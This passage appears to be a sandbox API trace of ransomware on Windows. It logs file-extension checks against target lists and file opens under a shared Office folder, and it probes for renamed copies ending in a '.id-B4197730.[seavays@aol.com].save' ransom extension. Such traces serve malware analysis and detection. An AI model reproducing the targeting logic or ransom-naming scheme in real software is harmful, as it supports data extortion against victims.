lpString2=".xml") returned -1 [0159.617] lstrlenW (lpString=".docx") returned 5 [0159.617] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0159.617] lstrlenW (lpString=".pdf") returned 4 [0159.617] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.617] lstrlenW (lpString=".xls") returned 4 [0159.617] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.617] lstrlenW (lpString=".xlsx") returned 5 [0159.617] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0159.617] lstrlenW (lpString=".ppt") returned 4 [0159.617] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0159.617] lstrlenW (lpString=".zip") returned 4 [0159.617] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.617] lstrlenW (lpString=".rar") returned 4 [0159.617] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.617] lstrlenW (lpString=".bz2") returned 4 [0159.617] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.617] lstrlenW (lpString=".7z") returned 3 [0159.617] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0159.617] lstrlenW (lpString=".dbf") returned 4 [0159.617] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0159.617] lstrlenW (lpString=".1cd") returned 4 [0159.617] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0159.618] lstrlenW (lpString=".jpg") returned 4 [0159.618] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0159.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0159.618] lstrlenW (lpString=".doc") returned 4 [0159.618] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.618] lstrlenW (lpString=".docx") returned 5 [0159.618] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0159.618] lstrlenW (lpString=".pdf") returned 4 [0159.618] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.618] lstrlenW (lpString=".xls") returned 4 [0159.618] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.618] lstrlenW (lpString=".xlsx") returned 5 [0159.618] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0159.618] lstrlenW (lpString=".ppt") returned 4 [0159.618] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0159.618] lstrlenW (lpString=".zip") returned 4 [0159.618] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.618] lstrlenW (lpString=".rar") returned 4 [0159.618] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.618] lstrlenW (lpString=".bz2") returned 4 [0159.618] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.618] lstrlenW (lpString=".7z") returned 3 [0159.618] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0159.619] lstrlenW (lpString=".dbf") returned 4 [0159.619] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0159.619] lstrlenW (lpString=".1cd") returned 4 [0159.619] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0159.619] lstrlenW (lpString=".jpg") returned 4 [0159.619] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.619] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0159.619] lstrlenW (lpString="Content.xml") returned 11 [0159.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.620] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=27045) returned 1 [0159.620] CloseHandle (hObject=0x390) returned 1 [0159.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0159.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0159.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0159.621] lstrlenW (lpString=".doc") returned 4 [0159.621] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.621] lstrlenW (lpString=".docx") returned 5 [0159.621] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0159.621] lstrlenW (lpString=".pdf") returned 4 [0159.621] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.621] lstrlenW (lpString=".xls") returned 4 [0159.621] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.621] lstrlenW (lpString=".xlsx") returned 5 [0159.621] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0159.621] lstrlenW (lpString=".ppt") returned 4 [0159.621] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0159.621] lstrlenW (lpString=".zip") returned 4 [0159.621] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.621] lstrlenW (lpString=".rar") returned 4 [0159.621] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.621] lstrlenW (lpString=".bz2") returned 4 [0159.621] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.621] lstrlenW (lpString=".7z") returned 3 [0159.621] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0159.622] lstrlenW (lpString=".dbf") returned 4 [0159.622] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0159.622] lstrlenW (lpString=".1cd") returned 4 [0159.622] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0159.622] lstrlenW (lpString=".jpg") returned 4 [0159.622] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0159.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0159.622] lstrlenW (lpString=".doc") returned 4 [0159.622] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.622] lstrlenW (lpString=".docx") returned 5 [0159.622] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0159.622] lstrlenW (lpString=".pdf") returned 4 [0159.622] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.622] lstrlenW (lpString=".xls") returned 4 [0159.622] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.622] lstrlenW (lpString=".xlsx") returned 5 [0159.622] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0159.622] lstrlenW (lpString=".ppt") returned 4 [0159.622] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0159.622] lstrlenW (lpString=".zip") returned 4 [0159.622] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.622] lstrlenW (lpString=".rar") returned 4 [0159.623] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.623] lstrlenW (lpString=".bz2") returned 4 [0159.623] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.623] lstrlenW (lpString=".7z") returned 3 [0159.623] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0159.623] lstrlenW (lpString=".dbf") returned 4 [0159.623] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0159.623] lstrlenW (lpString=".1cd") returned 4 [0159.623] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0159.623] lstrlenW (lpString=".jpg") returned 4 [0159.623] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.623] lstrcmpiW (lpString1=".avi", lpString2=".save") returned -1 [0159.623] lstrlenW (lpString="boxed-correct.avi") returned 17 [0159.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.625] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=111320) returned 1 [0159.625] CloseHandle (hObject=0x390) returned 1 [0159.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0159.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0159.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0159.625] lstrlenW (lpString=".doc") returned 4 [0159.625] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0159.625] lstrlenW (lpString=".docx") returned 5 [0159.625] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0159.625] lstrlenW (lpString=".pdf") returned 4 [0159.625] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0159.625] lstrlenW (lpString=".xls") returned 4 [0159.625] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0159.626] lstrlenW (lpString=".xlsx") returned 5 [0159.626] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0159.626] lstrlenW (lpString=".ppt") returned 4 [0159.626] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0159.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0159.626] lstrlenW (lpString=".zip") returned 4 [0159.626] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0159.626] lstrlenW (lpString=".rar") returned 4 [0159.626] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0159.626] lstrlenW (lpString=".bz2") returned 4 [0159.626] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0159.626] lstrlenW (lpString=".7z") returned 3 [0159.626] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0159.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0159.626] lstrlenW (lpString=".dbf") returned 4 [0159.626] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0159.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0159.626] lstrlenW (lpString=".1cd") returned 4 [0159.626] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0159.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0159.626] lstrlenW (lpString=".jpg") returned 4 [0159.626] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0159.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0159.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0159.626] lstrlenW (lpString=".doc") returned 4 [0159.627] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0159.627] lstrlenW (lpString=".docx") returned 5 [0159.627] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0159.627] lstrlenW (lpString=".pdf") returned 4 [0159.627] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0159.627] lstrlenW (lpString=".xls") returned 4 [0159.627] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0159.627] lstrlenW (lpString=".xlsx") returned 5 [0159.627] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0159.627] lstrlenW (lpString=".ppt") returned 4 [0159.627] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0159.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0159.627] lstrlenW (lpString=".zip") returned 4 [0159.627] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0159.627] lstrlenW (lpString=".rar") returned 4 [0159.627] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0159.627] lstrlenW (lpString=".bz2") returned 4 [0159.627] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0159.627] lstrlenW (lpString=".7z") returned 3 [0159.627] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0159.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0159.627] lstrlenW (lpString=".dbf") returned 4 [0159.627] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0159.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0159.627] lstrlenW (lpString=".1cd") returned 4 [0159.627] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0159.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0159.627] lstrlenW (lpString=".jpg") returned 4 [0159.628] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0159.628] lstrcmpiW (lpString1=".avi", lpString2=".save") returned -1 [0159.628] lstrlenW (lpString="boxed-delete.avi") returned 16 [0159.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.628] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=48936) returned 1 [0159.628] CloseHandle (hObject=0x390) returned 1 [0159.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0159.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0159.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0159.629] lstrlenW (lpString=".doc") returned 4 [0159.629] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0159.629] lstrlenW (lpString=".docx") returned 5 [0159.629] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0159.629] lstrlenW (lpString=".pdf") returned 4 [0159.629] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0159.629] lstrlenW (lpString=".xls") returned 4 [0159.629] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0159.629] lstrlenW (lpString=".xlsx") returned 5 [0159.629] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0159.629] lstrlenW (lpString=".ppt") returned 4 [0159.629] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0159.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0159.629] lstrlenW (lpString=".zip") returned 4 [0159.629] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0159.629] lstrlenW (lpString=".rar") returned 4 [0159.629] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0159.629] lstrlenW (lpString=".bz2") returned 4 [0159.629] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0159.630] lstrlenW (lpString=".7z") returned 3 [0159.630] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0159.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0159.630] lstrlenW (lpString=".dbf") returned 4 [0159.630] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0159.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0159.630] lstrlenW (lpString=".1cd") returned 4 [0159.630] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0159.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0159.630] lstrlenW (lpString=".jpg") returned 4 [0159.630] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0159.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0159.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0159.630] lstrlenW (lpString=".doc") returned 4 [0159.630] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0159.630] lstrlenW (lpString=".docx") returned 5 [0159.630] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0159.630] lstrlenW (lpString=".pdf") returned 4 [0159.630] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0159.630] lstrlenW (lpString=".xls") returned 4 [0159.630] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0159.630] lstrlenW (lpString=".xlsx") returned 5 [0159.630] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0159.630] lstrlenW (lpString=".ppt") returned 4 [0159.630] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0159.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0159.631] lstrlenW (lpString=".zip") returned 4 [0159.631] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0159.631] lstrlenW (lpString=".rar") returned 4 [0159.631] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0159.631] lstrlenW (lpString=".bz2") returned 4 [0159.631] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0159.631] lstrlenW (lpString=".7z") returned 3 [0159.631] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0159.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0159.631] lstrlenW (lpString=".dbf") returned 4 [0159.631] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0159.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0159.631] lstrlenW (lpString=".1cd") returned 4 [0159.631] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0159.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0159.631] lstrlenW (lpString=".jpg") returned 4 [0159.631] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0159.631] lstrcmpiW (lpString1=".avi", lpString2=".save") returned -1 [0159.631] lstrlenW (lpString="boxed-join.avi") returned 14 [0159.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.635] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=46622) returned 1 [0159.635] CloseHandle (hObject=0x390) returned 1 [0159.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0159.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0159.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0159.636] lstrlenW (lpString=".doc") returned 4 [0159.636] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0159.636] lstrlenW (lpString=".docx") returned 5 [0159.636] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0159.636] lstrlenW (lpString=".pdf") returned 4 [0159.636] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0159.636] lstrlenW (lpString=".xls") returned 4 [0159.636] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0159.636] lstrlenW (lpString=".xlsx") returned 5 [0159.636] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0159.636] lstrlenW (lpString=".ppt") returned 4 [0159.636] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0159.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0159.636] lstrlenW (lpString=".zip") returned 4 [0159.636] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0159.636] lstrlenW (lpString=".rar") returned 4 [0159.636] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0159.636] lstrlenW (lpString=".bz2") returned 4 [0159.636] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0159.636] lstrlenW (lpString=".7z") returned 3 [0159.637] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0159.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0159.637] lstrlenW (lpString=".dbf") returned 4 [0159.637] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0159.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0159.637] lstrlenW (lpString=".1cd") returned 4 [0159.637] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0159.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0159.637] lstrlenW (lpString=".jpg") returned 4 [0159.637] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0159.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0159.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0159.637] lstrlenW (lpString=".doc") returned 4 [0159.637] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0159.637] lstrlenW (lpString=".docx") returned 5 [0159.637] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0159.637] lstrlenW (lpString=".pdf") returned 4 [0159.637] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0159.637] lstrlenW (lpString=".xls") returned 4 [0159.637] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0159.637] lstrlenW (lpString=".xlsx") returned 5 [0159.637] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0159.637] lstrlenW (lpString=".ppt") returned 4 [0159.637] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0159.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0159.637] lstrlenW (lpString=".zip") returned 4 [0159.638] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0159.638] lstrlenW (lpString=".rar") returned 4 [0159.638] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0159.638] lstrlenW (lpString=".bz2") returned 4 [0159.638] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0159.638] lstrlenW (lpString=".7z") returned 3 [0159.638] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0159.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0159.638] lstrlenW 